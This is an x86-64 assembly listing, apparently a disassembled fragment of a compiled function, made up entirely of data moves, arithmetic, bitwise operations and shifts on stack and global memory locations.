mov qword [rsp + 0xb540], rax
mov eax, dword [rsp + 0x4fd0]
mov dword [rsp + 0x5364], eax
mov eax, dword [rsp + 0x506c]
mov ecx, dword [rsp + 0x51c4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa500]
mov rcx, qword [rsp + 0x9768]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8bb8], rax
movzx eax, byte [0x1401e707e]
mov byte [rsp + 0x1db], al
lea rax, [rsp + 0x117]
mov qword [0x1401e8dd8], rax
mov rax, qword [rsp + 0x8f38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa580]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1444], ax
mov rax, qword [rsp + 0xa398]
movzx eax, word [rax]
mov word [rsp + 0x1588], ax
movzx eax, byte [rsp + 0x175]
mov rcx, qword [rsp + 0xae40]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb1], al
lea rax, [rsp + 0x4e84]
mov qword [rsp + 0xbd48], rax
mov eax, dword [rsp + 0x5214]
mov rcx, qword [rsp + 0x9d58]
mov qword [rsp + 0xbd50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd50]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xbaa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ad8]
mov rax, qword [rax]
mov rcx, qword [0x1401e7010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e68], rax
lea rax, [rsp + 0x9bd0]
mov qword [rsp + 0xbd58], rax
mov rax, qword [rsp + 0x9bb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9788]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa358]
mov word [rcx], ax
movsx eax, word [0x1401e7034]
movsx ecx, word [rsp + 0x10e4]
and eax, ecx
mov rcx, qword [0x1401e8c58]
mov word [rcx], ax
lea rax, [rsp + 0x187]
mov qword [rsp + 0xbd60], rax
movzx eax, byte [rsp + 0x1d6]
movzx ecx, byte [0x1401e706e]
add eax, ecx
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x9950]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10c8], ax
mov rax, qword [rsp + 0x9db8]
mov qword [rsp + 0xbd68], rax
mov rax, qword [rsp + 0xaa68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5110]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fcc], eax
mov rax, qword [rsp + 0xba40]
mov eax, dword [rax]
mov dword [rsp + 0x5368], eax
mov rax, qword [rsp + 0x9e78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa468]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbcc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x90a8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8938]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
lea rax, [rsp + 0xb5]
mov qword [0x1401e8de0], rax
movzx eax, word [rsp + 0x14fc]
mov word [rsp + 0x158c], ax
movsx eax, byte [rsp + 0x1d1]
mov rcx, qword [rsp + 0xa6e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x169], al
movzx eax, word [rsp + 0x10b8]
mov word [rsp + 0x1590], ax
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0xafe8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5104], eax
mov rax, qword [rsp + 0xa7f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4e0], rax
lea rax, [rsp + 0x4f40]
mov qword [rsp + 0xbd70], rax
mov rax, qword [rsp + 0xa9b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c68]
mov qword [rsp + 0xbd78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd78]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa8b8]
mov qword [rcx], rax
lea rax, [rsp + 0x10d0]
mov qword [rsp + 0xbd80], rax
movsx eax, byte [rsp + 0x198]
movsx ecx, byte [rsp + 0xb9]
xor eax, ecx
mov byte [0x1401e87a4], al
mov rax, qword [rsp + 0x9bf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x101], al
mov rax, qword [rsp + 0xa9e0]
movzx eax, word [rax]
mov word [rsp + 0x1594], ax
mov rax, qword [0x1401e8b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1204]
or eax, ecx
mov word [rsp + 0x1490], ax
movsx eax, byte [rsp + 0x17e]
mov rcx, qword [rsp + 0xb770]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf3], al
lea rax, [rsp + 0x4f80]
mov qword [rsp + 0xbd88], rax
mov eax, dword [rsp + 0x51d4]
mov ecx, dword [rsp + 0x5050]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5140], eax
lea rax, [rsp + 0x8fd0]
mov qword [rsp + 0xbd90], rax
mov rax, qword [rsp + 0xa3b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb7c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa388]
mov qword [rcx], rax
mov rax, qword [0x1401e8aa8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb6c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7160], ax
movzx eax, word [rsp + 0x158c]
mov rcx, qword [rsp + 0xae80]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa678]
mov word [rcx], ax
mov rax, qword [0x1401e8988]
movzx eax, byte [rax]
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0xafc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18f]
add eax, ecx
mov rcx, qword [rsp + 0xa0f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb618]
movzx eax, word [rax]
mov word [rsp + 0x1598], ax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0xb1b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92a8], rax
mov rax, qword [rsp + 0x9118]
mov rcx, qword [rsp + 0xb370]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa4e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbe8]
mov rax, qword [rax]
mov qword [rsp + 0xbd98], rax
mov rax, qword [rsp + 0x9e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5124]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fa4], eax
mov rax, qword [rsp + 0x8b68]
movzx eax, byte [rax]
mov byte [0x1401e889b], al
lea rax, [rsp + 0x97]
mov qword [rsp + 0xbda0], rax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0xb750]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x19c], al
movzx eax, word [0x1401e7104]
mov word [rsp + 0x159c], ax
movsx eax, word [rsp + 0x1268]
mov rcx, qword [rsp + 0x9c78]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9470]
mov word [rcx], ax
mov rax, qword [rsp + 0x9230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e88]
mov qword [rsp + 0xbda8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbda8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9380]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a78]
mov qword [rsp + 0xbdb0], rax
mov rax, qword [rsp + 0x98e8]
mov rcx, qword [rsp + 0xa300]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x52c4], eax
lea rax, [rsp + 0x4e94]
mov qword [rsp + 0xbdb8], rax
movzx eax, word [0x1401e7050]
movzx ecx, word [rsp + 0x1284]
and eax, ecx
mov word [0x1401e703c], ax
mov rax, qword [rsp + 0xba30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1370]
add eax, ecx
mov word [rsp + 0x1118], ax
mov rax, qword [rsp + 0xb578]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e8792]
add eax, ecx
mov byte [rsp + 0xcc], al
lea rax, [rsp + 0xcf]
mov qword [rsp + 0xbdc0], rax
movsx eax, word [rsp + 0x1594]
movsx ecx, word [rsp + 0x10cc]
sub eax, ecx
mov rcx, qword [rsp + 0x90c0]
mov word [rcx], ax
lea rax, [rsp + 0xbb28]
mov qword [rsp + 0xbdc8], rax
mov rax, qword [rsp + 0xb648]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5230]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9538]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9178]
mov rcx, qword [rsp + 0x9588]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5030], eax
lea rax, [rsp + 0x93e8]
mov qword [rsp + 0xbdd0], rax
mov rax, qword [rsp + 0x9208]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12cc]
sub eax, ecx
mov rcx, qword [0x1401e8918]
mov word [rcx], ax
movzx eax, byte [rsp + 0x160]
movzx ecx, byte [rsp + 0xe7]
add eax, ecx
mov rcx, qword [rsp + 0x9370]
mov byte [rcx], al
movzx eax, byte [rsp + 0x167]
mov byte [rsp + 0x1dd], al
movsx eax, word [rsp + 0x10c0]
movsx ecx, word [rsp + 0x13d4]
sub eax, ecx
mov word [rsp + 0x1090], ax
mov rax, qword [rsp + 0xb818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb128]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14d8], ax
lea rax, [rsp + 0xae30]
mov qword [rsp + 0xbdd8], rax
mov rax, qword [rsp + 0xb7f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4f3c]
shr eax, cl
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa248]
mov rax, qword [rax]
mov qword [rsp + 0xbde0], rax
mov rax, qword [rsp + 0xa410]
mov rcx, qword [rsp + 0xbb20]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xafe8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1570]
mov rcx, qword [rsp + 0xbc38]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401e7164], ax
lea rax, [rsp + 0x171]
mov qword [rsp + 0xbde8], rax
movsx eax, word [rsp + 0x1250]
mov rcx, qword [rsp + 0x9df8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14d0], ax
movsx eax, byte [rsp + 0x148]
movsx ecx, byte [rsp + 0x12d]
and eax, ecx
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0xacc0]
movzx eax, byte [rax]
mov byte [rsp + 0x1de], al
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0x95b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa208], rax
lea rax, [rsp + 0xbd98]
mov qword [rsp + 0xbdf0], rax
mov rax, qword [rsp + 0x98e8]
mov rcx, qword [rsp + 0xb088]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50f8], eax
mov rax, qword [rsp + 0x9678]
mov rcx, qword [rsp + 0x9eb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x501c], eax
movzx eax, word [rsp + 0x1148]
mov rcx, qword [rsp + 0xaec8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7168], ax
movzx eax, byte [rsp + 0x16a]
mov byte [rsp + 0x1df], al
movsx eax, word [0x1401e70c0]
mov rcx, qword [rsp + 0xa5b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1378], ax
lea rax, [rsp + 0x1da]
mov qword [rsp + 0xbdf8], rax
movzx eax, byte [rsp + 0x165]
movzx ecx, byte [rsp + 0x1a0]
and eax, ecx
mov byte [rsp + 0x10d], al
mov rax, qword [rsp + 0x92c8]
mov rax, qword [rax]
mov rcx, qword [0x1401e7010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d50], rax
lea rax, [rsp + 0x5100]
mov qword [rsp + 0xbe00], rax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9d8], rax
lea rax, [rsp + 0x4fa0]
mov qword [rsp + 0xbe08], rax
movzx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x9780]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e87b0]
mov byte [rcx], al
mov rax, qword [rsp + 0xafb8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xace8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x91], al
mov rax, qword [rsp + 0xbac8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ff8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1140], ax
lea rax, [rsp + 0x147c]
mov qword [rsp + 0xbe10], rax
movzx eax, word [rsp + 0x14e4]
movzx ecx, word [0x1401e704c]
sar eax, cl
mov rcx, qword [rsp + 0xb830]
mov word [rcx], ax
mov eax, dword [rsp + 0x4eb4]
mov dword [rsp + 0x536c], eax
mov rax, qword [rsp + 0x9c50]
mov ecx, dword [rsp + 0x4ef0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov qword [rsp + 0xbe18], rax
mov rax, qword [rsp + 0xb960]
mov rcx, qword [rsp + 0xae78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9488]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1a3]
movsx ecx, byte [rsp + 0x126]
sub eax, ecx
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x94c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
sub eax, ecx
mov rcx, qword [0x1401e8b90]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc20]
movzx eax, word [rax]
mov word [rsp + 0x15a0], ax
movsx eax, word [rsp + 0x1200]
movsx ecx, word [rsp + 0x141c]
sub eax, ecx
mov word [rsp + 0x1230], ax
movzx eax, byte [0x1401e703a]
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0xa0b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa058], rax
mov eax, dword [rsp + 0x519c]
mov ecx, dword [rsp + 0x530c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5090], eax
mov rax, qword [rsp + 0x8e78]
mov rax, qword [rax]
mov qword [rsp + 0xbe20], rax
mov eax, dword [rsp + 0x52e4]
mov ecx, dword [rsp + 0x5094]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5184], eax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0xbe28], rax
lea rax, [rsp + 0x121c]
mov qword [0x1401e8de8], rax
mov rax, qword [0x1401e8920]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbe0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1e0], al
movsx eax, byte [rsp + 0x10f]
mov rcx, qword [rsp + 0xaf88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa258]
mov byte [rcx], al
lea rax, [rsp + 0x12d0]
mov qword [rsp + 0xbe30], rax
mov rax, qword [rsp + 0xab38]
mov rcx, qword [rsp + 0xa950]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb268]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5170]
mov dword [rsp + 0x5370], eax
mov rax, qword [rsp + 0xba20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e10]
mov qword [rsp + 0xbe38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe38]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbae8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9330]
mov eax, dword [rax]
mov dword [rsp + 0x5374], eax
movzx eax, word [rsp + 0x10f8]
movzx ecx, word [rsp + 0x11d4]
or eax, ecx
mov rcx, qword [rsp + 0xb918]
mov word [rcx], ax
lea rax, [rsp + 0x16f]
mov qword [0x1401e8df0], rax
mov rax, qword [0x1401e8ce0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1250]
sar eax, cl
mov rcx, qword [rsp + 0xb828]
mov word [rcx], ax
movzx eax, word [rsp + 0x1380]
mov word [rsp + 0x15a4], ax
mov rax, qword [rsp + 0x94b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d]
add eax, ecx
mov byte [rsp + 0x7c], al
lea rax, [rsp + 0xb1c0]
mov qword [rsp + 0xbe40], rax
mov eax, dword [rsp + 0x4ee4]
mov ecx, dword [rsp + 0x4f54]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ef8]
mov rcx, qword [rsp + 0xa868]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbd58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb138]
mov eax, dword [rax]
mov dword [rsp + 0x5378], eax
mov rax, qword [rsp + 0xb680]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa4c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0xa068]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e705a]
add eax, ecx
mov byte [0x1401e704e], al
movzx eax, word [rsp + 0x1328]
mov word [rsp + 0x15a8], ax
movsx eax, word [rsp + 0x1350]
movsx ecx, word [rsp + 0x1078]
add eax, ecx
mov word [rsp + 0x1170], ax
mov rax, qword [rsp + 0xb128]
movzx eax, word [rax]
movzx ecx, word [str.U_bC]
sub eax, ecx
mov rcx, qword [rsp + 0xa580]
mov word [rcx], ax
lea rax, [rsp + 0x161]
mov qword [rsp + 0xbe48], rax
mov rax, qword [rsp + 0xa670]
mov rcx, qword [rsp + 0xa5c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa600]
mov qword [rcx], rax
lea rax, [rsp + 0x4e6c]
mov qword [rsp + 0xbe50], rax
mov rax, qword [rsp + 0x9d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9738]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa560]
mov rcx, qword [rsp + 0x9948]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9728]
mov qword [rcx], rax
movsx eax, byte [0x1401e7027]
mov rcx, qword [rsp + 0x99e0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e705f], al
movzx eax, word [rsp + 0x1408]
mov word [rsp + 0x15ac], ax
movzx eax, word [rsp + 0x1334]
movzx ecx, word [rsp + 0x1188]
xor eax, ecx
mov word [rsp + 0x11ec], ax
movzx eax, byte [0x1401e70a3]
mov byte [rsp + 0x1e1], al
movsx eax, byte [rsp + 0x128]
movsx ecx, byte [rsp + 0x1a7]
shl eax, cl
mov rcx, qword [rsp + 0x97c0]
mov byte [rcx], al
mov eax, dword [rsp + 0x52b8]
mov dword [rsp + 0x537c], eax
mov rax, qword [rsp + 0xa550]
mov rcx, qword [rsp + 0xa760]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xba28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa378]
mov rcx, qword [rsp + 0xa5a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0x9298]
mov eax, dword [rax]
mov dword [rsp + 0x5380], eax
lea rax, [rsp + 0x121c]
mov qword [0x1401e8df8], rax
movsx eax, byte [0x1401e8796]
mov rcx, qword [rsp + 0xab50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov byte [rcx], al
lea rax, [rsp + 0x1224]
mov qword [rsp + 0xbe58], rax
mov rax, qword [rsp + 0x92d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa6c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1340], ax
mov rax, qword [rsp + 0xa0f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9558]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x74], al
lea rax, [rsp + 0x9fe0]
mov qword [rsp + 0xbe60], rax
mov rax, qword [rsp + 0xa250]
mov rcx, qword [rsp + 0xab40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50ac], eax
mov eax, dword [rsp + 0x4eac]
mov dword [rsp + 0x5384], eax
mov rax, qword [rsp + 0x9380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbd0], rax
mov rax, qword [rsp + 0xb8a0]
movzx eax, byte [rax]
mov byte [0x1401e889e], al
mov rax, qword [0x1401e8b00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaa58]
mov word [rcx], ax
lea rax, [rsp + 0x117c]
mov qword [rsp + 0xbe68], rax
movsx eax, word [rsp + 0x12a4]
mov rcx, qword [rsp + 0xb7d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
movzx eax, byte [0x1401e7072]
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0x91c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xace0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f88], rax
lea rax, [rsp + 0xba38]
mov qword [rsp + 0xbe70], rax
mov rax, qword [rsp + 0x9f48]
mov rcx, qword [rsp + 0x8b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9af8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa788]
mov ecx, dword [rsp + 0x4f54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5160], eax
mov rax, qword [rsp + 0x9e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x88]
xor eax, ecx
mov rcx, qword [0x1401e8968]
mov byte [rcx], al
lea rax, [rsp + 0x14ec]
mov qword [rsp + 0xbe78], rax
mov rax, qword [rsp + 0xa1f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa340]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov word [rcx], ax
mov rax, qword [rsp + 0xb058]
movzx eax, byte [rax]
mov byte [rsp + 0x1e3], al
movsx eax, word [0x1401e8b08]
mov rcx, qword [rsp + 0xb5c0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1240], ax
mov rax, qword [rsp + 0xa3f8]
mov rcx, qword [rsp + 0xb650]
mov qword [rsp + 0xbe80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe80]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9040], rax
lea rax, [rsp + 0x4fd0]
mov qword [rsp + 0xbe88], rax
mov rax, qword [rsp + 0x98b0]
mov rcx, qword [0x1401e7028]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa8f0]
mov qword [rcx], rax
lea rax, [rsp + 0x5244]
mov qword [rsp + 0xbe90], rax
lea rax, [rsp + 0x179]
mov qword [0x1401e8e00], rax
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
mov rcx, qword [0x1401e8b70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x134c], ax
movsx eax, byte [rsp + 0x1c0]
mov rcx, qword [rsp + 0x9550]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaa30]
mov byte [rcx], al
mov rax, qword [rsp + 0xba88]
movzx eax, word [rax]
mov word [rsp + 0x15b0], ax
mov rax, qword [0x1401e8b38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9010]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9558]
mov byte [rcx], al
mov eax, dword [rsp + 0x4f60]
mov dword [rsp + 0x5388], eax
mov rax, qword [rsp + 0x8f08]
mov ecx, dword [rsp + 0x5334]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa088]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa7b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xacb8], rax
lea rax, [rsp + 0xbe20]
mov qword [rsp + 0xbe98], rax
movzx eax, word [rsp + 0x14b0]
movzx ecx, word [rsp + 0x1040]
sub eax, ecx
mov rcx, qword [0x1401e8a10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x110]
movsx ecx, byte [rsp + 0x174]
sub eax, ecx
mov byte [rsp + 0x12b], al
movzx eax, word [rsp + 0x12e8]
mov word [rsp + 0x15b4], ax
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b]
add eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [0x1401e8dd0]
movzx eax, byte [rax]
mov byte [rsp + 0x1e4], al
mov rax, qword [rsp + 0x8cf8]
mov ecx, dword [rsp + 0x4f18]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5234], eax
mov rax, qword [rsp + 0xb9d0]
mov rcx, qword [rsp + 0x9d78]
mov qword [rsp + 0xbea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbea0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb2a0]
mov qword [rcx], rax
lea rax, [rsp + 0x5274]
mov qword [rsp + 0xbea8], rax
mov rax, qword [rsp + 0xa798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d18]
mov qword [rsp + 0xbeb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbeb0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9728]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1b6]
movsx ecx, byte [0x1401e8792]
xor eax, ecx
mov rcx, qword [0x1401e8e00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f50]
movzx eax, word [rax]
mov word [rsp + 0x15b8], ax
movzx eax, word [rsp + 0x10fc]
movzx ecx, word [rsp + 0x14e8]
and eax, ecx
mov word [rsp + 0x11e4], ax
mov rax, qword [rsp + 0xae80]
movzx eax, word [rax]
movzx ecx, word [0x1401e8c88]
sub eax, ecx
mov word [rsp + 0x1524], ax
lea rax, [rsp + 0x165]
mov qword [rsp + 0xbeb8], rax
mov rax, qword [rsp + 0xb198]
mov rcx, qword [rsp + 0xa308]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb220], rax
mov rax, qword [rsp + 0xa118]
mov qword [rsp + 0xbec0], rax
mov rax, qword [rsp + 0xb398]
mov ecx, dword [rsp + 0x5358]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e90], eax
mov rax, qword [rsp + 0x9678]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9118]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1e2]
mov byte [rsp + 0x1e5], al
lea rax, [rsp + 0x8f]
mov qword [0x1401e8e08], rax
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaeb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1558], ax
mov rax, qword [rsp + 0x9a28]
movzx eax, word [rax]
mov word [rsp + 0x15bc], ax
mov rax, qword [rsp + 0xbb40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov rcx, qword [rsp + 0xbeb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x501c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fe8], eax
mov rax, qword [rsp + 0x9f48]
mov eax, dword [rax]
mov dword [rsp + 0x538c], eax
mov rax, qword [rsp + 0x9048]
mov rcx, qword [0x1401e7028]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb1e8]
mov qword [rcx], rax
lea rax, [rsp + 0xb540]
mov qword [rsp + 0xbec8], rax
mov rax, qword [rsp + 0xaeb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x107c]
add eax, ecx
mov word [rsp + 0x102c], ax
mov rax, qword [0x1401e8a80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15bc]
or eax, ecx
mov word [0x1401e716c], ax
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x1e6], al
